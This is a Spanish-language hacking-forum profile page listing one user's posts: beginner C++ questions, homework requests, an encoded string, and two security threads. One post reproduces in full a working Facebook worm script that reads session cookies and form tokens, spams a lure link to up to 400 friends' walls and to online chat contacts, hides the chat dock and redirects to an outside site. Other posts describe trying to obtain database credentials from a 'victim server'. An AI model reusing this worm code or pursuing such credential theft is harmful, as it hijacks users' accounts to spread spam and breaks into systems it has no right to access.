elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Mensajes
Páginas: [1] 2
1  Programación / Programación C/C++ / Re: ayuda en c++ en: 1 Diciembre 2015, 02:11 am
amigo muchas gracias ........  si ese es el error pues c no retornava a 0 de nuevo para poder evaluar los otros numeros, por eso olo me evaluava si era primo el primero   muchas gracias
2  Programación / Programación C/C++ / Re: ayuda en c++ en: 1 Diciembre 2015, 01:48 am
la parte que no me funciona es el contador al ejecutar el código introduzco los cinco numero y solo me evalúa el primero :(  

si el primero que introduzco es primo me muestra 1 números primos.
 de lo contrario me muestra 0 números primos.

el mismo programa debo real izarlo  pero introducir números y al obtener 5 números primos mostrar la suma de estos

Código
  1. #include <iostream>
  2. using namespace std;
  3. int main(){
  4. int num,p=1,n,s=0,c=0;
  5. while (p<=5){
  6. cout<<"ingrese un numero";
  7. cin>>num;
  8. for(n=1;n<=num;n++)
  9. {
  10. if(num%n==0)
  11. {
  12. c=c+1;
  13. }
  14. }
  15.  
  16. if (c>0&&c<=2)
  17. {
  18.  s=s+num;
  19.  p++;
  20. }
  21.  
  22.  
  23.  
  24.    }
  25.     cout<<s;
  26. }

lo peor es que tambien tengo el mismos problema con el contador q es "p" y el acumulador q es "s"..

agradezco su ayuda ;)
3  Programación / Programación C/C++ / ayuda en c++ en: 1 Diciembre 2015, 00:34 am
alguien que me pueda ayudar a solucionar este problema con este codigo


Código
  1.  
  2. #include <iostream>
  3. using namespace std;
  4. int main()
  5. {
  6. int num,n,c=0,a,con=0;
  7. for(a=1;a<=5;a++)
  8. {
  9.  
  10. cout<<"ingrese un numero";
  11. cin>>num;
  12. for(n=1;n<=num;n++)
  13. {
  14. if(num%n==0)
  15. {
  16. c=c+1;
  17. }
  18.  
  19. }
  20. if(c>0&&c<=2)
  21. {
  22. con=con+1;
  23. }
  24. }
  25.  
  26.  
  27. cout<<con<<" numeros primos";
  28. }
  29.  
  30.  
  31.  


el programa tiene que mostrarme cuantos numeros primo introduce por teclado

[MOD] Al publicar código usar las etiquetas GeSHi
4  Programación / Programación C/C++ / alguien me puede ayudar con este problema ;) en: 5 Junio 2012, 01:42 am






1.   Haga un programa en C que calcule la suma del triángulo inferior más el triángulo superior de una matriz cuadrada de 5 X 5, dejando el resultado en el triángulo inferior de otra matriz cuadrada de dimensión 5 X 5. La matriz resultante tendrá 0 en la diagonal y en el triángulo superior.

Por ejemplo, si la matriz que proporciona el usuario es:


a) Haga  un módulo (rutina) llamado leematriz que lea la matriz que proporciona el usuario.
b) Haga un módulo (rutina) llamado sumatoria que calcule la suma de los 2 triángulos de una matriz y deje el resultado en el triángulo inferior de otra matriz.
c) Haga un módulo (rutina) impmatriz que imprima la matriz origen y la
     matriz  resultado.
d)  Imprimir la sumatoria de los números que están en la diagonal de la matriz.

2.   Los resultados de un torneo de futbol de 16 equipos se encuentran almacenados en la tabla torneo de 16 renglones por 16 columnas.  Por renglones se tienen los goles que un equipo anotó a los demás, y por columnas se tienen los goles que dicho equipo recibió de los demás.  Por ejemplo:

Para un torneo de 4 equipos se tiene la siguiente tabla:


Se puede decir que los marcadores del equipo 1 fueron:

Perdió   0 – 2 con el equipo 2.
Ganó   4 – 3 con el equipo 3.
Empató   0 – 0 con el equipo 4.

Anotó 4 goles y recibió 5 goles en el torneo.

Se pide que elabore un solo programa que realice lo siguiente:

a)   Lea la tabla torneo con los resultados del torneo.
b)   Imprima los marcadores de los partidos jugados por el equipo 1, indicando contra quién jugó y si ganó, perdió o empató cada partido.
c)   Imprima los goles a favor y los goles en contra del equipo 1.
d)   Imprima cuál es el equipo con mayor número de partidos ganados (suponga que un solo equipo cumple con esta característica).



Elabore un programa modular para contestar las siguientes preguntas:

a)   ¿Cuál fue el total de ventas en el año de la agencia Lomas?
b)   ¿Cuál fue el promedio de ventas en el mes de noviembre?
c)   ¿Qué agencia tuvo mayores ventas en el mes de Junio?
d)   ¿En qué mes se registraron las menores ventas del año, considerando todas las agencias?


3.   Elabore un programa que cargue, lea una matriz de 4 X 4 y calcule la inversa usando el método de Gauss-Jordan.

4.   De acuerdo al juego del Ajedrez, realice un programa que permita llenar una matriz de 8 x 8. Ubique valores como si fueran las fichas del ajedrez, teniendo en cuenta la siguiente tabla.






Nota: Estos ejercicios deben desarrollarse en  C++


muchas gracias espero y me puedan ayudar
5  Seguridad Informática / Criptografía / que tipo de sistema es o cifrado? en: 28 Junio 2011, 00:49 am
hola quisiera  si alguien me puede ayudar con esto  es para saber que tipo de caracteres traduce 


es   


VldwSk5Gb3lVa2hQUjJSclRUSlJlbFJITlU5TlIwNTBWbTE0YTFJelVqSlpNakF4WWtkT2NFNVlWbUZYUmtZeVYycEtTbG95U25SUFZFNU5Xbm93T1QwOT09


gracias
6  Foros Generales / Dudas Generales / una duda sobre este script en: 4 Mayo 2011, 04:48 am
hola a todos


mi duda es sobre esta pagina de facebook http://www.facebook.com/picofbinladendead

al seguir las instrucciones ( uqe de seguro muchos lo han hecho) se ejecuta el siguiente script

aquie el script  

Código:
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KuNG FU JS v.1  20yrsplus.info
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

//alert('Photo Uploaded! Please wait 1-2 minutes without leaving this page until we process your picture!');

function readCookie(name) {

var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;

}

var user_id = readCookie("c_user");


// Setup some variables

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;


// Multiple URL Shorteners

var shortArray = new Array(
  "http://www.facebook.com/picofbinladendead",
  "http://www.facebook.com/picofbinladendead"
 );

var shortUrl = shortArray[Math.floor(shortArray.length*Math.random())];

// Chat message variables

var this_chat = "See a picture of bin laden dead! "+shortUrl+"?";
var prepared_chat = encodeURIComponent(this_chat);


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Post Link to friends walls
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var token = Math.round(new Date().getTime() / 1000);

var http1 = new XMLHttpRequest();

var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only";

var params1 = "";
http1.open("GET", url1+"?"+params1, true);
http1.onreadystatechange = function() {//Call a function when the state changes.

if(http1.readyState == 4 && http1.status == 200) { // If state = success

var response1 = http1.responseText;

response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
response1 = JSON.parse(response1); // Convert the response to JSON

//alert(response4.toSource());

var count = 0;

for(uid in response1.payload.entries){

if(count < 400){

//alert("SENT TO "+response1.payload.entries[count].uid);

// Loop to send messages

// New XMLHttp object
var httpwp = new XMLHttpRequest();

var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";

var statusmessage="This will leave you speechless";
var title="See picture of bin laden dead!";
var link="http://www.facebook.com/picofbinladendead";
var description="First released picture of bin laden dead! ";
var picture="http://dl.dropbox.com/u/3730110/laden.png";

var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http%3A%2F%2F20-y-rr-z.info%2Ffavicon.ico&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+")&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";

httpwp.open("POST", urlwp, true);

//Send the proper header information along with the request

httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");

httpwp.onreadystatechange = function() { //Call a function when the state changes.
if(httpwp.readyState == 4 && httpwp.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}

}

httpwp.send(paramswp);

}

count++; // increment counter

}

http1.close; // Close the connection



}

}

http1.send(null);


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Hide chat boxes
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var hide = document.getElementById('fbDockChatTabSlider');

hide.style.display = "none";


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Get online friends and send chat message to them
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var http3 = new XMLHttpRequest();

var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
http3.open("POST", url3, true);

//Send the proper header information along with the request
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-length", params3.length);
http3.setRequestHeader("Connection", "close");

http3.onreadystatechange = function() {//Call a function when the state changes.
if(http3.readyState == 4 && http3.status == 200) {

var response3 = http3.responseText;

response3 = response3.replace("for (;;);", "");
response3 = JSON.parse(response3);

var count = 0;

for(property in response3.payload.buddy_list.nowAvailableList){

if(count < 100){

// Loop to send messages

// New XMLHttp object
var httpc = new XMLHttpRequest();

// Generate random message ID

var msgid = Math.floor(Math.random()*1000000);

var time = Math.round(new Date().getTime() / 1000);

var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
httpc.open("POST", urlc, true);

//Send the proper header information along with the request
httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpc.setRequestHeader("Content-length", paramsc.length);
httpc.setRequestHeader("Connection", "close");

httpc.onreadystatechange = function() { //Call a function when the state changes.
if(httpc.readyState == 4 && httpc.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpc.send(paramsc);

}

//alert(property);
count++; // increment counter

}

http3.close; // Close the connection

}
}
http3.send(params3);







/*
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan - MW GIVEAWAY
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var http4 = new XMLHttpRequest();

var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";

var params4 = "fbpage_id=112580802159800&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"

http4.open("POST", url4, true);

//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}
http4.send(params4);


///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan - MW GIft
///////////////////////////////////////////////////////////////////////////////////////////////////////////////

var http5 = new XMLHttpRequest();

var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";

var params5 = "fbpage_id=112580802159800&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"

http5.open("POST", url5, true);

//Send the proper header information along with the request
http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http5.setRequestHeader("Content-length", params5.length);
http5.setRequestHeader("Connection", "close");

http5.onreadystatechange = function() {//Call a function when the state changes.
if(http5.readyState == 4 && http5.status == 200) {

http5.close; // Close the connection

}
}
http5.send(params5);
*/

//document.getElementById('susta').style.display="none";
document.getElementById('contentArea').innerHTML="<center><br><br><br><br><br><br><br><br><img src=\"http://www.hindustantimes.com/images/loading_gif.gif\" /><br />Please wait...</center>";
setTimeout("window.location = 'http://themafiafamily.net/bin/search.php';", 15000);





bueno entiendo algunas cosas pero es que no se mucho de java script , por lo tanto acudo a ustedes si alguien puede decirme especificamente que hace este script,



las partes que entiendo es donde crea funciones que envian el enlace de la pagina a todos tus contactos, y tambien la parte que hace que suba en counter de facebook  de I like.

espero su respuesta xD
7  Programación / PHP / Re: alguien me puede orientar un poco en: 9 Noviembre 2010, 21:02 pm
la verdad tio no se si fumas algo extraño o que te hace pensar que poniendo en tu servidor un archivo de otro te va a dar en tu caso el nombre de usuario y contraseña de la db. partiendo de que ¿como vas a hacer que el servidor original haga una simple peticion a tu servidor? o caso contrario que tu servidor haga una peticion a un servidor remoto sin conocer host de la db, usuario y contraseña, estas en lo mismo pero cada vez haces cosas mas extrañas.

en caso de estar yo confundido te invito a que expongas el metodo que usas para "simular" ser tu el servidor.


ok algo bastante extenso pero lo hare me tardare unos minutos .........



bien como habia dicho antes el servidor se encuentra compuesto de dos directorios pricipales (dir1)= main (dir2)= backend

el directorio que yo simulo es el main  y este es el archivo de configuracion de enlace al directorio backend ( alojado en el servidor victima )

Código:
<?PHP
include('config.php');
session_start();
error_reporting(0);
$cachetime = 24 * 3600; // cache time in seconds
//cache manager
if (@$_SERVER['QUERY_STRING'] == '') {
include('includes/cachemanager.php');
} else {

if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) {
  ob_start("ob_gzhandler");
  if ($_GET['type'] == 'xml')
header("Content-Type: text/xml");
  else
header ("content-type: text/javascript; charset: UTF-8");
  header ("cache-control: must-revalidate");
  $offset = 60 * 60;
  $expire = "expires: " . gmdate ("D, d M Y H:i:s", time() + $offset) . " GMT";
  header ($expire);
} else
ob_start();








//cache manager end








if ($_config['nocache'] == false) {
//$GAME = $_config['server_feeds'][$_GET['server']][1];
$cache = preg_replace('/\&nocache\=1/i','',$_SERVER['QUERY_STRING']);
$slash =  addcslashes($_config['server_feed'], 'z..A://');

$cache = preg_replace('/'.$slash.'/i','',urldecode($cache));

 // replace accented chars
$accents = '/&([A-Za-z]{1,2})(grave|acute|circ|cedil|uml|lig);/';
$string_encoded = htmlentities($cache ,ENT_NOQUOTES,'UTF-8');

$string = preg_replace($accents,'$1',$string_encoded);

// clean out the rest
$replace = array('([\40])','([^a-zA-Z0-9-])','(-{2,})');
$with = array('-','-','-');
$string = preg_replace($replace,$with,$string);

$ext = preg_split('/-/', $string, -1, PREG_SPLIT_OFFSET_CAPTURE);
$ext = $ext[3][0];

$cachefile = 'cache/'.$string.'.'.$ext;


if (file_exists($cachefile) && time() - $cachetime < filemtime($cachefile) && !isset($_GET['nocache'])) {
//
if ($_GET['type'] == 'xml')
echo file_get_contents($cachefile);
else
include($cachefile);
// echo '<test>'.$cachefile.'</test>';
//echo "<!-- Cached copy, generated ".date('H:i', filemtime($cachefile))." -->\n";
exit;
}

}
$homepage = file_get_contents($_SERVER['QUERY_STRING']);
echo $homepage;

if ($_config['nocache'] == false) {
$fp = @fopen($cachefile, 'w');
fwrite($fp, ob_get_contents());
fclose($fp);
ob_end_flush();
}
}
?>

el archivo config del directorio main ( osea el que yo simulo)  se encuentran datos como ip de la base de datos, configuracion de cache, ip de enlace al directorio backend etc...

poniendo una cadena como la siguente  
Código:
$db = ADONewConnection('mssql');
$db->locale = 'us_english';
$db->debug = $_config['dbdebug'];
$rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB']) or die("Unable to connect!");

puedo realizar consultas al sql  en la db (database 1)  ... consultas como  
Código:
$result = $db->Execute("SELECT ID FROM register_table where upper(ID),(Email),(password) ", array($value));
  o esta

Código:
exec dbo.user_register ‘user’, ‘pass’,'Email'
hay ya tengo un registro y funciona pero no es esto lo que yo quiero lograr.

aunque puedo realizar consultas ala base de datos remplazando los valores

ip dela database por =  $_config['Server']
usuario sql por = $_config['User']
y contraseña por = $_config['Pass']

sin embargo lo que yo necesito es saber los datos de

1).$_config['User']
2).$_config['Pass']


apesar que los puedo reemplazar usando esas cadenas, solo me sirve para eso en la pagina web.

si algo no quedo bien claro lo podre explicar mejor ;)

salu2
8  Programación / PHP / Re: alguien me puede orientar un poco en: 9 Noviembre 2010, 20:46 pm
pero a lo que vamos es que no puedes por que es un archivo php, y como dije antes me llama la atencion de donde sacaaste el contenido del archivo php que mostras antes porque de chrome no
 



ok eh echo tantas cosas y lo ultimo que estoy haciendo es simular el servidor, osea ese archivo que alli pongo lo tengo en mi servidor, pienso que simulando el server y citando los archivos tal y como lo hace en el servidor me pueda arrojar los datos, pero siepre me dice  "ADONewConnection: Unable to load database driver ''


ademas mesale un alerta de apache que no se puede abrir el archivo config.php que se ah denegado el acceso
9  Programación / PHP / Re: alguien me puede orientar un poco en: 9 Noviembre 2010, 20:21 pm
es el segundo post que pides lo mismo, como en este:

http://foro.elhacker.net/nivel_web/tal_ves_podais_ayudarme-t309867.0.html;msg1538665#msg1538665

se te vuelve a repetir que no puedes ver el codigo fuente real del fichero php, primero comprende como funciona php y entenderas que no puede ser.


primero una aclaracion, obiamente no pretendo que de todos los ficheros pueda ver el codigo fuente real... lo unico que intento es localizar los valores de esto
Código:
rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB'])

10  Programación / PHP / Re: alguien me puede orientar un poco en: 9 Noviembre 2010, 18:49 pm
yo no veo ningun php por ahi  :xD >:D

el codigo php se procesa en el servidor, se genera el html y luego va al browser, las developers tools, asi como el firebug etc trabajan sobre las peticiones que entran y salen del browser por ende, en ese entonces, el php ya fue procesado  >:D

algo no cierra....



imagina una arañita ah tejido su tela en un arbol( arbol = servidor ---  tela = apache )  ok ahora bien esta arañita es muy confiada y no ah reforsado su tela, no ah puesto un modo seguro (safe_mode).......  imagina que ademas de esto al ser una tela esta enlazada completamente de una punta hasta otra.... luego entonces la consola del google chrome es un acceso a una de las puntas de esa tela de araña.( y recuerda que al acceder a una punta como es una tela puedes ir escalando y encontrando las otras partes de esta tela de araña) =)


salu2
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines